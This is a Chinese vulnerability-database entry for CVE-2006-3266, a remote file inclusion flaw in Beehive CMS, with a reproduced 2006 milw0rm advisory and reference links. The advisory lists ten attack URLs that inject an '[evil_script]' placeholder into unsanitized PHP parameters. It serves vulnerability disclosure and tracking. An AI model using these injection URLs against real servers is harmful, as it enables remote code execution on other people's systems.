Bee-hive 多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110518 漏洞类型 访问验证错误
发布时间 2006-06-25 更新时间 2006-06-28
CVE编号 CVE-2006-3266 CNNVD-ID CNNVD-200606-517
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/1951
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-517
|漏洞详情
Bee-hive是一种WebCGI程序。Bee-hive在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。Bee-hive的多个脚本没有正确验证多个参数的输入,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。
|漏洞EXP
---------------------------------------------------------------------------
Beehive CMS ([header]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Beehive CMS
version : latest version
URL : http://products.magnet-i.com/show/beehive/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $header not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/conad/include/rootGui.inc.php?header=[evil_script]
# http://www.site.com/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/login.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/logout.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/include/listall.inc.php?mysqlcall=[evil_script]
# http://www.site.com/[path]/show/index.php?prefix=[evil_script]
# http://www.site.com/[path]/conad/include/mysqlCall.inc.php?config=[evil_script]
# http://www.site.com/[path]/include/rootGui.inc.php?header=[evil_script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~~

declare variabel $header
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~
Nick: Kw3rLN
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-25]
|参考资料

来源:VUPEN
名称:ADV-2006-2516
链接:http://www.frsirt.com/english/advisories/2006/2516
来源:SECUNIA
名称:20814
链接:http://secunia.com/advisories/20814
来源:MILW0RM
名称:1951
链接:http://milw0rm.com/exploits/1951
来源:XF
名称:beehive-multiple-scripts-file-include(27386)
链接:http://xforce.iss.net/xforce/xfdb/27386
来源:BID
名称:18654
链接:http://www.securityfocus.com/bid/18654
来源:OSVDB
名称:26824
链接:http://www.osvdb.org/26824
来源:OSVDB
名称:26823
链接:http://www.osvdb.org/26823
来源:OSVDB
名称:26822
链接:http://www.osvdb.org/26822
来源:OSVDB
名称:26821
链接:http://www.osvdb.org/26821
来源:OSVDB
名称:26820
链接:http://www.osvdb.org/26820
来源:OSVDB
名称:26819
链接:http://www.osvdb.org/26819
来源:OSVDB
名称:26818
链接:http://www.osvdb.org/26818
来源:OSVDB
名称:26817
链接:http://www.osvdb.org/26817
来源:OSVDB
名称:26816
链接:http://www.osvdb.org/26816
来源:OSVDB
名称:26815
链接:http://www.osvdb.org/26815